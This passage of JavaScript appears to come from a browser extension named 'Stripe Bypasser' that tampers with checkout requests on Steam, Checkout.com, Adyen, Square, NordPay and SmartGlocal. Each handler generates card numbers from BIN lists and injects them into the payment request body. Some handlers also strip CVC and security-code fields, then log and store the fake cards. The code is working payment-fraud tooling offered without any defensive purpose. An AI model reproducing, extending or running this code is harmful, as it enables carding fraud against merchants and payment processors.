        } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
          setTimeout(() => {
            try {
              window.createStripeBypassBanner("Card Generated & Sent", "success");
            } catch (error) {
              stripeBypasserLogger.warn("[SmartGlocalHandler] Banner error:", error);
            }
          }, 0);
        }
      } else {
        payload.__smartGlocalPayloadModified = false;
        payload.__smartGlocalCardInjected = false;
      }
      return payload;
    } catch (error) {
      stripeBypasserLogger.error(
        "[SmartGlocalHandler] Error in handleSmartGlocalPaymentRequest:",
        error
      );
      return payload;
    }
  }
  const smartGlocalBypasserPayment = {
    handleGogPayment: handleSmartGlocalPayment
  };
  if (typeof window !== "undefined") {
    window.SmartGlocalBypasserPayment = smartGlocalBypasserPayment;
  }
  function handleSteamPayment(payload, cardData) {
    try {
      const hasPayload = payload.url || "";
      const isInitTransaction =
        hasPayload.includes("/checkout/inittransaction") || hasPayload.includes("/inittransaction");
      const isFinalizeTransaction =
        hasPayload.includes("/checkout/finalizetransaction") ||
        hasPayload.includes("/finalizetransaction");
      stripeBypasserLogger.log("[SteamHandler] handleSteamPaymentRequest called", {
        hasBody: !!payload.body,
        bodyType: typeof payload.body,
        url: payload.url || "N/A",
        isInitTransaction,
        isFinalizeTransaction
      });
      cardData ||= getActiveBypasserSettings({
        enabled: false
      });
      if (!cardData || !cardData.enabled) {
        stripeBypasserLogger.warn("[SteamHandler] Extension disabled or settings not enabled");
        return payload;
      }
      if (!payload.body) {
        stripeBypasserLogger.warn("[SteamHandler] No body in request options");
        return payload;
      }
      if (typeof window === "undefined" || !window.StripeBypasserPayload) {
        stripeBypasserLogger.error("[SteamHandler] PayloadManipulator not available");
        return payload;
      }
      if (isFinalizeTransaction) {
        if (!window.StripeBypasserPayload.removeCvcFromSteamPayload) {
          stripeBypasserLogger.error("[SteamHandler] removeCvcFromSteamPayload not available");
          return payload;
        }
        let requestBody = payload.body;
        if (payload.body instanceof FormData) {
          const searchParams = new URLSearchParams();
          for (const [bodyKey, bodyValue] of payload.body.entries()) {
            searchParams.append(bodyKey, bodyValue);
          }
          requestBody = searchParams.toString();
        } else if (payload.body instanceof URLSearchParams) {
          requestBody = payload.body.toString();
        } else if (
          typeof payload.body !== "object" ||
          payload.body instanceof FormData ||
          payload.body instanceof URLSearchParams
        ) {
          if (typeof payload.body !== "string") {
            requestBody = String(payload.body);
          }
        } else {
          const searchParams = new URLSearchParams();
          for (const [bodyKey, bodyValue] of Object.entries(payload.body)) {
            searchParams.append(bodyKey, bodyValue);
          }
          requestBody = searchParams.toString();
        }
        const bodyTypeInfo = {
          bodyType: typeof payload.body,
          bodyLength: requestBody.length
        };
        stripeBypasserLogger.log(
          "[SteamHandler] Processing finalizetransaction - removing CVC only",
          bodyTypeInfo
        );
        const updatedPayloadText =
          window.StripeBypasserPayload.removeCvcFromSteamPayload(requestBody);
        if (updatedPayloadText && updatedPayloadText !== requestBody) {
          const requestBodyText = rebuildRequestBody(payload.body, updatedPayloadText);
          const originalLengthInfo = {
            originalLength: requestBody.length,
            modifiedLength: updatedPayloadText.length
          };
          payload = {
            ...payload,
            body: requestBodyText,
            headers: window.StripeBypasserPayload.preserveHeaders(
              payload.headers,
              "application/x-www-form-urlencoded"
            )
          };
          stripeBypasserLogger.log(
            "[SteamHandler] CVC removed from finalizetransaction payload",
            originalLengthInfo
          );
        }
        return payload;
      }
      if (!isInitTransaction) {
        stripeBypasserLogger.warn("[SteamHandler] Unknown Steam endpoint, skipping");
        return payload;
      }
      let binList = [];
      try {
        if (Array.isArray(cardData.bin)) {
          binList = cardData.bin
            .filter(item => item && typeof item === "string")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        } else if (cardData.bin && typeof cardData.bin === "string" && cardData.bin.trim()) {
          binList = cardData.bin
            .split("\n")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        }
      } catch (error) {
        stripeBypasserLogger.error("[SteamHandler] Error parsing BIN list:", error);
        return payload;
      }
      if (binList.length === 0) {
        stripeBypasserLogger.warn("[SteamHandler] No BINs configured");
        return payload;
      }
      if (typeof window !== "undefined" && !window.__SteamBypasserBinRotation) {
        window.__SteamBypasserBinRotation = {
          currentIndex: 0,
          lastResetTime: Date.now()
        };
      }
      let currentBinIndex =
        typeof window !== "undefined" && window.__SteamBypasserBinRotation
          ? window.__SteamBypasserBinRotation.currentIndex
          : 0;
      let parsedPayload = null;
      let binAttemptCount = 0;
      const totalBinCount = binList.length;
      let stripeBypasserCardGenerator = null;
      const waitStartAt = Date.now();
      while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < 300) {
        if (
          typeof window !== "undefined" &&
          window.StripeBypasserCardGenerator &&
          window.StripeBypasserCardGenerator.parseBin &&
          window.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
          break;
        }
        if (
          typeof globalThis !== "undefined" &&
          globalThis.StripeBypasserCardGenerator &&
          globalThis.StripeBypasserCardGenerator.parseBin &&
          globalThis.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = globalThis.StripeBypasserCardGenerator;
          if (typeof window !== "undefined") {
            window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
          }
          break;
        }
        const isDateNow = Date.now() + 10;
        while (Date.now() < isDateNow);
      }
      if (!stripeBypasserCardGenerator) {
        stripeBypasserLogger.error("[SteamHandler] CardGenerator not available");
        return payload;
      }
      while (binAttemptCount < totalBinCount) {
        try {
          const currentBinPattern = binList[currentBinIndex % binList.length];
          const binMetadata = stripeBypasserCardGenerator.parseBin(currentBinPattern);
          if (!binMetadata) {
            currentBinIndex++;
            binAttemptCount++;
            continue;
          }
          const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
          parsedPayload = stripeBypasserCardGenerator.generateCard(
            binMetadata,
            hasCardCvcModeGenerate
          );
          if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
            parsedPayload.cvc = cardData.customCvc;
          }
          if (parsedPayload) {
            if (typeof window !== "undefined" && window.__SteamBypasserBinRotation) {
              window.__SteamBypasserBinRotation.currentIndex =
                (currentBinIndex + 1) % binList.length;
            }
            break;
          }
          currentBinIndex++;
          binAttemptCount++;
        } catch (error) {
          currentBinIndex++;
          binAttemptCount++;
        }
      }
      if (!parsedPayload) {
        stripeBypasserLogger.error("[SteamHandler] Failed to generate card");
        return payload;
      }
      try {
        const cardSummary =
          parsedPayload.number +
          "|" +
          String(parsedPayload.month || "").padStart(2, "0") +
          "|" +
          String(parsedPayload.year || "").slice(-2);
        const cardBrand = getCardBrand(parsedPayload.number);
        const message =
          "Steam: " +
          (cardData?.cvcMode === "remove"
            ? cardSummary
            : cardSummary + "|" + (parsedPayload.cvc || "")) +
          " (" +
          cardBrand +
          ")";
        try {
          if (typeof window !== "undefined" && window.postMessage) {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message,
                logType: "info"
              },
              "*"
            );
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
        try {
          if (typeof document !== "undefined" && document && document.dispatchEvent) {
            const eventObject = new CustomEvent("stripeBypasserPaymentLog", {
              detail: {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message,
                logType: "info"
              }
            });
            document.dispatchEvent(eventObject);
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
      } catch (error) {
        stripeBypasserLogger.error("[SteamHandler] Error logging card:", error);
      }
      stripeBypasserLogger.log("[SteamHandler] Card generated", {
        cardNumber: parsedPayload.number
          ? parsedPayload.number.substring(0, 4) +
            "****" +
            parsedPayload.number.substring(parsedPayload.number.length - 4)
          : "N/A",
        month: parsedPayload.month,
        year: parsedPayload.year
      });
      try {
        if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
          window.StripeBypasserCardStorage.store(parsedPayload);
        }
        const cardSummary =
          parsedPayload.number +
          "|" +
          String(parsedPayload.month || "").padStart(2, "0") +
          "|" +
          String(parsedPayload.year || "").slice(-2);
        const cardLogString =
          cardData?.cvcMode === "remove"
            ? cardSummary
            : cardSummary + "|" + (parsedPayload.cvc || "");
        if (typeof window !== "undefined" && window.localStorage) {
          window.localStorage.setItem("steamBypasserLastCardString", cardLogString);
          window.localStorage.setItem("steamBypasserLastCard", JSON.stringify(parsedPayload));
        }
      } catch (error) {
        stripeBypasserLogger.error("[SteamHandler] Error storing card:", error);
      }
      if (!payload.body) {
        stripeBypasserLogger.warn("[SteamHandler] No body in request options");
        return payload;
      }
      if (
        typeof window === "undefined" ||
        !window.StripeBypasserPayload ||
        !window.StripeBypasserPayload.replaceCardInSteamPayload
      ) {
        stripeBypasserLogger.error("[SteamHandler] PayloadManipulator not available");
        return payload;
      }
      let modifiedRequestBody = null;
      let steamBodyString = null;
      try {
        steamBodyString = payload.body;
        if (payload.body instanceof FormData) {
          const searchParams = new URLSearchParams();
          for (const [bodyKey, bodyValue] of payload.body.entries()) {
            searchParams.append(bodyKey, bodyValue);
          }
          steamBodyString = searchParams.toString();
        } else if (payload.body instanceof URLSearchParams) {
          steamBodyString = payload.body.toString();
        } else if (
          typeof payload.body !== "object" ||
          payload.body instanceof FormData ||
          payload.body instanceof URLSearchParams
        ) {
          if (typeof payload.body !== "string") {
            steamBodyString = String(payload.body);
          }
        } else {
          const searchParams = new URLSearchParams();
          for (const [bodyKey, bodyValue] of Object.entries(payload.body)) {
            searchParams.append(bodyKey, bodyValue);
          }
          steamBodyString = searchParams.toString();
        }
        stripeBypasserLogger.log("[SteamHandler] Processing payload", {
          bodyType: typeof payload.body,
          bodyLength: steamBodyString.length,
          bodyPreview: steamBodyString.substring(0, 200) + "..."
        });
        modifiedRequestBody = window.StripeBypasserPayload.replaceCardInSteamPayload(
          steamBodyString,
          parsedPayload
        );
        if (modifiedRequestBody && modifiedRequestBody !== steamBodyString) {
          const requestBodyText = rebuildRequestBody(payload.body, modifiedRequestBody);
          payload = {
            ...payload,
            body: requestBodyText,
            headers: window.StripeBypasserPayload.preserveHeaders(
              payload.headers,
              "application/x-www-form-urlencoded"
            )
          };
          const cvcRemoved =
            (steamBodyString.includes("SecurityCode") ||
              steamBodyString.includes("CardSecurityCode") ||
              steamBodyString.includes("CVV")) &&
            !modifiedRequestBody.includes("SecurityCode") &&
            !modifiedRequestBody.includes("CardSecurityCode") &&
            !modifiedRequestBody.includes("CVV");
          stripeBypasserLogger.log("[SteamHandler] Payload modified successfully", {
            originalLength: steamBodyString.length,
            modifiedLength: modifiedRequestBody.length,
            cardNumberInBody: modifiedRequestBody.includes(
              parsedPayload ? parsedPayload.number : ""
            ),
            cvcRemoved
          });
        } else {
          console.error("[SteamHandler] Payload was NOT modified", {
            returnedNull: modifiedRequestBody === null,
            sameAsOriginal: modifiedRequestBody === steamBodyString,
            hasCard: !!parsedPayload,
            cardNumber: parsedPayload ? parsedPayload.number : "NO CARD",
            modifiedBody: modifiedRequestBody ? modifiedRequestBody.substring(0, 100) : "NULL"
          });
          stripeBypasserLogger.error("[SteamHandler] Payload was not modified", {
            returnedNull: modifiedRequestBody === null,
            sameAsOriginal: modifiedRequestBody === steamBodyString,
            hasCard: !!parsedPayload,
            cardNumber: parsedPayload ? parsedPayload.number : "NO CARD"
          });
        }
      } catch (error) {
        console.error("[SteamHandler] Error replacing card in payload:", error);
        stripeBypasserLogger.error("[SteamHandler] Error replacing card in payload:", error);
      }
      return payload;
    } catch (error) {
      console.error("[SteamHandler] Error in handleSteamPaymentRequest:", error);
      stripeBypasserLogger.error("[SteamHandler] Error in handleSteamPaymentRequest:", error);
      return payload;
    }
  }
  const steamBypasserPayment = {
    handleGogPayment: handleSteamPayment
  };
  if (typeof window !== "undefined") {
    window.SteamBypasserPayment = steamBypasserPayment;
  }
  function handleCheckoutComRequest(payload, settings) {
    try {
      const loggerLabel = "[CheckoutComHandler]";
      settings = gatewayDetectionHelpers.resolveEnabledSettings(settings, loggerLabel);
      if (!settings) {
        return payload;
      }
      const requestContext = gatewayDetectionHelpers.buildRequestContext(payload);
      if (
        payload.body &&
        isCheckoutComMetadataRequest(payload.url || "", requestContext.requestBodyText)
      ) {
        logToConsole(loggerLabel + " Skipping metadata/tracking request");
        return payload;
      }
      if (
        gatewayDetectionHelpers.shouldSkipDuplicateRequest(
          "checkoutcom-request",
          requestContext.requestFingerprint,
          {
            loggerLabel,
            duplicateMessage: "Duplicate request detected, skipping card generation",
            consoleMessage: loggerLabel + " Duplicate request detected, skipping card generation"
          }
        )
      ) {
        return payload;
      }
      const generatedCardResult = generateGatewayCard(settings, {
        gatewayLabel: "CheckoutComHandler",
        rotationStateKey: "__CheckoutComBinRotation"
      });
      if (!generatedCardResult?.card) {
        stripeBypasserLogger?.error("[CheckoutComHandler] Failed to generate card");
        return payload;
      }
      const parsedPayload = generatedCardResult.card;
      gatewayLoggingHelpers.logGeneratedCard({
        loggerLabel,
        generatedCardResult,
        cardData: parsedPayload,
        extraDetails: {
          cvcMode: settings?.cvcMode,
          hasCvc: !!parsedPayload.cvc
        }
      });
      const cardBrand = getCardBrand(parsedPayload.number);
      persistGeneratedCardArtifacts({
        gatewayLabel: "Checkout.com",
        storageNamespaces: ["checkoutCom", "stripe"],
        cardData: parsedPayload,
        cvcMode: settings?.cvcMode,
        cardBrand,
        loggerLabel
      });
      if (payload.body) {
        if (!hasCheckoutComCardPayloadMarkers(requestContext.requestBodyText)) {
          logToConsole(loggerLabel + " Skipping non-payment Checkout.com payload");
          return payload;
        }
        const bodyReplacement = gatewaySerializationHelpers.replaceJsonBody({
          payload,
          replaceFunctionName: "replaceCardInCheckoutPayload",
          generatedCard: parsedPayload,
          settings,
          parseStructuredResult: isStructuredJsonBody(payload.body),
          loggerLabel: loggerLabel + " Error replacing card in payload:",
          missingFunctionMessage:
            loggerLabel +
            " PayloadManipulator not available or replaceCardInCheckoutPayload not found"
        });
        if (!bodyReplacement) {
          return payload;
        }
        gatewayLoggingHelpers.logBodyReplacementResult({
          loggerLabel,
          bodyReplacement,
          successMessage: "Checkout.com payload modified successfully"
        });
        payload = gatewaySerializationHelpers.applyJsonBodyReplacement(payload, bodyReplacement);
      }
      showGatewaySuccessBanner({
        domainFragment: "checkout.com",
        loggerLabel
      });
      return payload;
    } catch (error) {
      stripeBypasserLogger?.error("[CheckoutComHandler] Fatal error:", error);
      return payload;
    }
  }
  const gatewayRequestHandlerModule = {
    checkoutCom: handleCheckoutComRequest,
    adyen: handleAdyenRequest,
    braintree: handleBraintreeRequest
  };
  const checkoutComBypasserPayment = {
    handleGogPayment: gatewayRequestHandlerModule.checkoutCom
  };
  if (typeof window !== "undefined" && !window.__CheckoutComBypasserRequestTracker) {
    window.__CheckoutComBypasserRequestTracker = new Map();
  }
  if (typeof window !== "undefined") {
    window.CheckoutComBypasserPayment = checkoutComBypasserPayment;
  }
  function handleAdyenRequest(payload, cardData) {
    try {
      const loggerLabel = "[AdyenHandler]";
      const settings = gatewayDetectionHelpers.resolveEnabledSettings(cardData, loggerLabel);
      if (!settings) {
        return payload;
      }
      const requestContext = gatewayDetectionHelpers.buildRequestContext(payload);
      if (
        gatewayDetectionHelpers.shouldSkipDuplicateRequest(
          "adyen-request",
          requestContext.requestFingerprint,
          {
            loggerLabel,
            includeFingerprint: true
          }
        )
      ) {
        return payload;
      }
      const generatedCardResult = generateGatewayCard(settings, {
        gatewayLabel: "AdyenHandler",
        rotationStateKey: "__AdyenBypasserBinRotation"
      });
      if (!generatedCardResult?.card) {
        stripeBypasserLogger?.error("[AdyenHandler] Failed to generate card");
        return payload;
      }
      const parsedPayload = generatedCardResult.card;
      gatewayLoggingHelpers.logGeneratedCard({
        loggerLabel,
        generatedCardResult,
        cardData: parsedPayload
      });
      const cardBrand = getCardBrand(parsedPayload.number);
      persistGeneratedCardArtifacts({
        gatewayLabel: "Adyen",
        storageNamespaces: ["adyen"],
        cardData: parsedPayload,
        cvcMode: settings?.cvcMode,
        cardBrand,
        loggerLabel
      });
      if (payload.body) {
        const bodyReplacement = gatewaySerializationHelpers.replaceJsonBody({
          payload,
          replaceFunctionName: "replaceCardInAdyenPayload",
          generatedCard: parsedPayload,
          settings,
          loggerLabel: loggerLabel + " Error replacing card in Adyen payload:",
          missingFunctionMessage:
            loggerLabel + " PayloadManipulator not available or replaceCardInAdyenPayload not found"
        });
        if (!bodyReplacement) {
          return payload;
        }
        gatewayLoggingHelpers.logBodyReplacementResult({
          loggerLabel,
          bodyReplacement,
          successMessage: "Adyen payload modified successfully",
          removalMarker: '"encryptedSecurityCode"'
        });
        payload = gatewaySerializationHelpers.applyJsonBodyReplacement(payload, bodyReplacement);
      }
      showGatewaySuccessBanner({
        domainFragment: "adyen.com",
        loggerLabel
      });
      return payload;
    } catch (error) {
      stripeBypasserLogger?.error("[AdyenHandler] Fatal error:", error);
      return payload;
    }
  }
  const adyenBypasserPayment = {
    handleGogPayment: gatewayRequestHandlerModule.adyen
  };
  if (typeof window !== "undefined" && !window.__AdyenBypasserRequestTracker) {
    window.__AdyenBypasserRequestTracker = new Map();
  }
  if (typeof window !== "undefined") {
    window.AdyenBypasserPayment = adyenBypasserPayment;
  }
  function handleSquareRequest(payload, cardData) {
    try {
      cardData ||= getActiveBypasserSettings({
        enabled: false
      });
      if (!cardData || !cardData.enabled) {
        stripeBypasserLogger.warn("[SquareHandler] Extension disabled or settings not enabled");
        return payload;
      }
      let binList = [];
      try {
        if (Array.isArray(cardData.bin)) {
          binList = cardData.bin
            .filter(item => item && typeof item === "string")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        } else if (cardData.bin && typeof cardData.bin === "string" && cardData.bin.trim()) {
          binList = cardData.bin
            .split("\n")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        }
      } catch (error) {
        stripeBypasserLogger.error("[SquareHandler] Error parsing BIN list:", error);
        return payload;
      }
      if (binList.length === 0) {
        stripeBypasserLogger.warn("[SquareHandler] No BINs configured");
        return payload;
      }
      if (typeof window !== "undefined" && !window.__SquareBypasserBinRotation) {
        window.__SquareBypasserBinRotation = {
          currentIndex: 0,
          lastResetTime: Date.now()
        };
      }
      let currentBinIndex =
        typeof window !== "undefined" && window.__SquareBypasserBinRotation
          ? window.__SquareBypasserBinRotation.currentIndex
          : 0;
      let parsedPayload = null;
      let bin = null;
      let binAttemptCount = 0;
      const totalBinCount = binList.length;
      let stripeBypasserCardGenerator = null;
      const waitStartAt = Date.now();
      while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < 300) {
        if (
          typeof window !== "undefined" &&
          window.StripeBypasserCardGenerator &&
          window.StripeBypasserCardGenerator.parseBin &&
          window.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
          break;
        }
        if (
          typeof globalThis !== "undefined" &&
          globalThis.StripeBypasserCardGenerator &&
          globalThis.StripeBypasserCardGenerator.parseBin &&
          globalThis.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = globalThis.StripeBypasserCardGenerator;
          if (typeof window !== "undefined") {
            window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
          }
          break;
        }
        const isDateNow = Date.now() + 10;
        while (Date.now() < isDateNow);
      }
      if (!stripeBypasserCardGenerator) {
        stripeBypasserLogger.error("[SquareHandler] CardGenerator not available");
        return payload;
      }
      while (binAttemptCount < totalBinCount && !parsedPayload) {
        try {
          const currentBinPattern = binList[currentBinIndex % binList.length];
          const binMetadata = stripeBypasserCardGenerator.parseBin(currentBinPattern);
          if (!binMetadata) {
            currentBinIndex++;
            binAttemptCount++;
            continue;
          }
          const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
          parsedPayload = stripeBypasserCardGenerator.generateCard(
            binMetadata,
            hasCardCvcModeGenerate
          );
          if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
            parsedPayload.cvc = cardData.customCvc;
          }
          if (parsedPayload) {
            bin = currentBinPattern;
            if (typeof window !== "undefined" && window.__SquareBypasserBinRotation) {
              window.__SquareBypasserBinRotation.currentIndex =
                (currentBinIndex + 1) % binList.length;
            }
            stripeBypasserLogger.log("[SquareHandler] Card generated successfully:", {
              bin,
              cardNumber: parsedPayload.number
                ? parsedPayload.number.substring(0, 4) +
                  "****" +
                  parsedPayload.number.substring(parsedPayload.number.length - 4)
                : "N/A"
            });
            break;
          }
          stripeBypasserLogger.warn(
            "[SquareHandler] Card generation returned null for BIN:",
            currentBinPattern
          );
          currentBinIndex++;
          binAttemptCount++;
        } catch (error) {
          stripeBypasserLogger.error("[SquareHandler] Error generating card:", error);
          currentBinIndex++;
          binAttemptCount++;
        }
      }
      if (!parsedPayload) {
        stripeBypasserLogger.error("[SquareHandler] Failed to generate card");
        return payload;
      }
      const cardBrand = getCardBrand(parsedPayload.number);
      try {
        if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
          const storedCardTask = window.StripeBypasserCardStorage.store(parsedPayload);
          if (storedCardTask && typeof storedCardTask.then === "function") {
            storedCardTask.catch(asyncError => {
              stripeBypasserLogger.error("[SquareHandler] Card storage error:", asyncError);
            });
          }
        }
        try {
          const cardSummary =
            parsedPayload.number +
            "|" +
            String(parsedPayload.month || "").padStart(2, "0") +
            "|" +
            String(parsedPayload.year || "").slice(-2);
          const cardLogString =
            cardData?.cvcMode === "remove"
              ? cardSummary
              : cardSummary + "|" + (parsedPayload.cvc || "");
          if (typeof window !== "undefined" && window.localStorage) {
            window.localStorage.setItem("squareBypasserLastCardString", cardLogString);
            window.localStorage.setItem("squareBypasserLastCard", JSON.stringify(parsedPayload));
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
        try {
          const cardSummary =
            parsedPayload.number +
            "|" +
            String(parsedPayload.month || "").padStart(2, "0") +
            "|" +
            String(parsedPayload.year || "").slice(-2);
          const cardLogString =
            cardData?.cvcMode === "remove"
              ? cardSummary
              : cardSummary + "|" + (parsedPayload.cvc || "");
          if (typeof window !== "undefined" && window.postMessage) {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message: "Square: " + cardLogString + " (" + cardBrand + ")",
                logType: "info"
              },
              "*"
            );
          }
          if (typeof document !== "undefined" && document && document.dispatchEvent) {
            document.dispatchEvent(
              new CustomEvent("stripeBypasserPaymentLog", {
                detail: {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message: "Square: " + cardLogString + " (" + cardBrand + ")",
                  logType: "info"
                }
              })
            );
          }
        } catch (error) {
          stripeBypasserLogger.error("[SquareHandler] Error logging card:", error);
        }
      } catch (error) {
        stripeBypasserLogger.error("[SquareHandler] Error storing/logging card:", error);
      }
      if (payload.body) {
        try {
          if (
            typeof window === "undefined" ||
            !window.StripeBypasserPayload ||
            !window.StripeBypasserPayload.replaceCardInSquarePayload
          ) {
            stripeBypasserLogger.error(
              "[SquareHandler] PayloadManipulator not available or replaceCardInSquarePayload not found"
            );
            return payload;
          }
          let requestBody = payload.body;
          if (
            typeof payload.body !== "object" ||
            payload.body instanceof FormData ||
            payload.body instanceof URLSearchParams
          ) {
            if (typeof payload.body !== "string") {
              requestBody = String(payload.body);
            }
          } else {
            requestBody = JSON.stringify(payload.body);
          }
          stripeBypasserLogger.log("[SquareHandler] Processing Square payload", {
            bodyType: typeof payload.body,
            bodyLength: requestBody.length,
            bodyPreview: requestBody.substring(0, 200) + "..."
          });
          const body = window.StripeBypasserPayload.replaceCardInSquarePayload(
            requestBody,
            parsedPayload,
            cardData
          );
          if (body && body !== requestBody) {
            payload = {
              ...payload,
              body,
              headers: window.StripeBypasserPayload.preserveHeaders(
                payload.headers,
                "application/json"
              )
            };
            stripeBypasserLogger.log("[SquareHandler] Square payload modified successfully", {
              originalLength: requestBody.length,
              modifiedLength: body.length
            });
          } else {
            stripeBypasserLogger.warn("[SquareHandler] Payload was not modified", {
              returnedNull: body === null,
              sameAsOriginal: body === requestBody
            });
          }
        } catch (error) {
          stripeBypasserLogger.error(
            "[SquareHandler] Error replacing card in Square payload:",
            error
          );
          return payload;
        }
      }
      const isTopSelf = typeof window !== "undefined" && window.top !== window.self;
      const isOnSquareDomain =
        typeof window !== "undefined" &&
        window.location &&
        window.location.hostname &&
        window.location.hostname.includes("squareup.com");
      if (isTopSelf || isOnSquareDomain) {
        try {
          window.postMessage(
            {
              type: "STRIPE_BYPASSER_SHOW_BANNER",
              bannerText: "Card Generated & Sent",
              bannerType: "success",
              details: null
            },
            "*"
          );
        } catch (error) {
          stripeBypasserLogger.warn("[SquareHandler] PostMessage banner error:", error);
        }
      } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
        setTimeout(() => {
          try {
            window.createStripeBypassBanner("Card Generated & Sent", "success");
          } catch (error) {
            stripeBypasserLogger.warn("[SquareHandler] Banner error:", error);
          }
        }, 0);
      }
      return payload;
    } catch (error) {
      stripeBypasserLogger.error("[SquareHandler] Fatal error:", error);
      return payload;
    }
  }
  const squareBypasserPayment = {
    handleGogPayment: handleSquareRequest
  };
  if (typeof window !== "undefined") {
    window.SquareBypasserPayment = squareBypasserPayment;
  }
  function handleNordPayRequest(payload, cardData) {
    try {
      cardData ||= getActiveBypasserSettings({
        enabled: false
      });
      if (!cardData || !cardData.enabled) {
        stripeBypasserLogger.warn("[NordPayHandler] Extension disabled or settings not enabled");
        return payload;
      }
      let binList = [];
      try {
        if (Array.isArray(cardData.bin)) {
          binList = cardData.bin
            .filter(item => item && typeof item === "string")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        } else if (cardData.bin && typeof cardData.bin === "string" && cardData.bin.trim()) {
          binList = cardData.bin
            .split("\n")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        }
      } catch (error) {
        stripeBypasserLogger.error("[NordPayHandler] Error parsing BIN list:", error);
        return payload;
      }
      if (binList.length === 0) {
        stripeBypasserLogger.warn("[NordPayHandler] No BINs configured");
        return payload;
      }
      if (typeof window !== "undefined" && !window.__NordPayBypasserBinRotation) {
        window.__NordPayBypasserBinRotation = {
          currentIndex: 0,
          lastResetTime: Date.now()
        };
      }
      let currentBinIndex =
        typeof window !== "undefined" && window.__NordPayBypasserBinRotation
          ? window.__NordPayBypasserBinRotation.currentIndex
          : 0;
      let parsedPayload = null;
      let bin = null;
      let binAttemptCount = 0;
      const totalBinCount = binList.length;
      let stripeBypasserCardGenerator = null;
      const waitStartAt = Date.now();
      while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < 300) {
        if (
          typeof window !== "undefined" &&
          window.StripeBypasserCardGenerator &&
          window.StripeBypasserCardGenerator.parseBin &&
          window.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
          break;
        }
        if (
          typeof globalThis !== "undefined" &&
          globalThis.StripeBypasserCardGenerator &&
          globalThis.StripeBypasserCardGenerator.parseBin &&
          globalThis.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = globalThis.StripeBypasserCardGenerator;
          if (typeof window !== "undefined") {
            window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
          }
          break;
        }
        const isDateNow = Date.now() + 10;
        while (Date.now() < isDateNow);
      }
      if (!stripeBypasserCardGenerator) {
        stripeBypasserLogger.error("[NordPayHandler] CardGenerator not available");
        return payload;
      }
      while (binAttemptCount < totalBinCount && !parsedPayload) {
        try {
          const currentBinPattern = binList[currentBinIndex % binList.length];
          const binMetadata = stripeBypasserCardGenerator.parseBin(currentBinPattern);
          if (!binMetadata) {
            currentBinIndex++;
            binAttemptCount++;
            continue;
          }
          const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
          parsedPayload = stripeBypasserCardGenerator.generateCard(
            binMetadata,
            hasCardCvcModeGenerate
          );
          if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
            parsedPayload.cvc = cardData.customCvc;
          }
          if (parsedPayload) {
            bin = currentBinPattern;
            if (typeof window !== "undefined" && window.__NordPayBypasserBinRotation) {
              window.__NordPayBypasserBinRotation.currentIndex =
                (currentBinIndex + 1) % binList.length;
            }
            stripeBypasserLogger.log("[NordPayHandler] Card generated successfully:", {
              bin,
              cardNumber: parsedPayload.number
                ? parsedPayload.number.substring(0, 4) +
                  "****" +
                  parsedPayload.number.substring(parsedPayload.number.length - 4)
                : "N/A"
            });
            break;
          }
          stripeBypasserLogger.warn(
            "[NordPayHandler] Card generation returned null for BIN:",
            currentBinPattern
          );
          currentBinIndex++;
          binAttemptCount++;
        } catch (error) {
          stripeBypasserLogger.error("[NordPayHandler] Error generating card:", error);
          currentBinIndex++;
          binAttemptCount++;
        }
      }
      if (!parsedPayload) {
        stripeBypasserLogger.error("[NordPayHandler] Failed to generate card");
        return payload;
      }
      const cardBrand = getCardBrand(parsedPayload.number);
      try {
        if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
          const storedCardTask = window.StripeBypasserCardStorage.store(parsedPayload);
          if (storedCardTask && typeof storedCardTask.then === "function") {
            storedCardTask.catch(asyncError => {
              stripeBypasserLogger.error("[NordPayHandler] Card storage error:", asyncError);
            });
          }
        }
        try {
          const cardSummary =
            parsedPayload.number +
            "|" +
            String(parsedPayload.month || "").padStart(2, "0") +
            "|" +
            String(parsedPayload.year || "").slice(-2);
          const cardLogString =
            cardData?.cvcMode === "remove"
              ? cardSummary
              : cardSummary + "|" + (parsedPayload.cvc || "");
          if (typeof window !== "undefined" && window.localStorage) {
            window.localStorage.setItem("nordpayBypasserLastCardString", cardLogString);
            window.localStorage.setItem("nordpayBypasserLastCard", JSON.stringify(parsedPayload));
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
        try {
          const cardSummary =
            parsedPayload.number +
            "|" +
            String(parsedPayload.month || "").padStart(2, "0") +
            "|" +
